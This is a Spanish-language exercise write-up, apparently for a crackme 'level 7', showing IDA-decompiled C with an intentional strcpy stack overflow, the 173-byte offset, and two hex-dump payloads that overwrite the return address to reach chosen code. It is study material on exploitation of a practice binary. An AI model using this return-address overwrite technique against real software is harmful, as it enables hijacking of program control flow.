Este es el código que me generó el IDA con mis modificaciones:


int __cdecl check(char *Stream)
{
  char savedregs; // [esp+0h] [ebp+0h]

  sprintf(Stream + 220, "Bieeeeeeeeeeeeeeeeeeeen ? con %s", Stream + 4);
  if ( *(Stream + 52) != 'E' )
  {
    printf("Mal camino \n", savedregs);
    exit(1);
  }
  if ( Stream[216] != 0xD )
    *(Stream + 54) = 2;
  printf("valor= %x\n", Stream[216]);
  printf("number= %x\n", Stream[204]);
  if ( *(Stream + 53) == 'F' )
    printf("Aprobaste level 7", savedregs);
  else
    printf("Que pasa, %x \n", Stream[216] + Stream[204]);
  return 0;
}


int main(int argc, const char **argv)
{
  FILE *Stream; // [esp+0h] [ebp-1A4h] BYREF
  char Buffer[200]; // [esp+4h] [ebp-1A0h] BYREF
  int v6; // [esp+CCh] [ebp-D8h]
  int v7; // [esp+D0h] [ebp-D4h]
  int v8; // [esp+D4h] [ebp-D0h]
  char Destination[200]; // [esp+DCh] [ebp-C8h] BYREF

  v6 = 1;
  v8 = 1;
  v7 = 69;
  memset(Buffer, 0, sizeof(Buffer));
  memset(Destination, 0, sizeof(Destination));
  Stream = fopen("example.txt", "rb");
  if ( !Stream )
  {
    printf("No se puede leer el archivo bye bye \n", 0);
    exit(1);
  }
  fread(Buffer, 200*sizeof(char), 1*sizeof(char), Stream);

  // Acá se produce el bufferoverflow
  // Copiamos el contenido del Buffer a Destination.
  // strcpy copia hasta encontrar un caracter nulo ('\0')
  strcpy(Destination, Buffer);
  if ( v6 != 1 )
  {
    printf("Mal \n", (char)Stream);
    exit(1);
  }
  check((int)&Stream);
  return 0;
}

Hasta 173 no se produce el buffer overflow. Los caracteres que agregamos luego de 173 caracteres pisan el return address.

Para hacer una prueba al pisar el return address le puse la dirección del printf que decía "No se puede leer el archivo bye bye \n" que estaba en la dirección 0x401215 con el siguiente exploit:

00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000020: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000030: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000040: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000050: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000060: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000070: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000080: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000090: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000000a0: 4141 4141 4141 4141 4141 4141 4141 1512  AAAAAAAAAAAAAA..
000000b0: 4000                                     @.

Pisamos el return address con la dirección en donde dice “Aprobaste level 7” que se puede ubicar en el gráfico de IDA apretando el icono del lapiz en el dialogo en mi caso era la dirección: 0x4010AA pasado a little indian: aa1040.

exploit

00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000020: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000030: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000040: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000050: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000060: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000070: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000080: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000090: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000000a0: 4141 4141 4141 4141 4141 4141 4141 aa10  AAAAAAAAAAAAAA..
000000b0: 40                                       @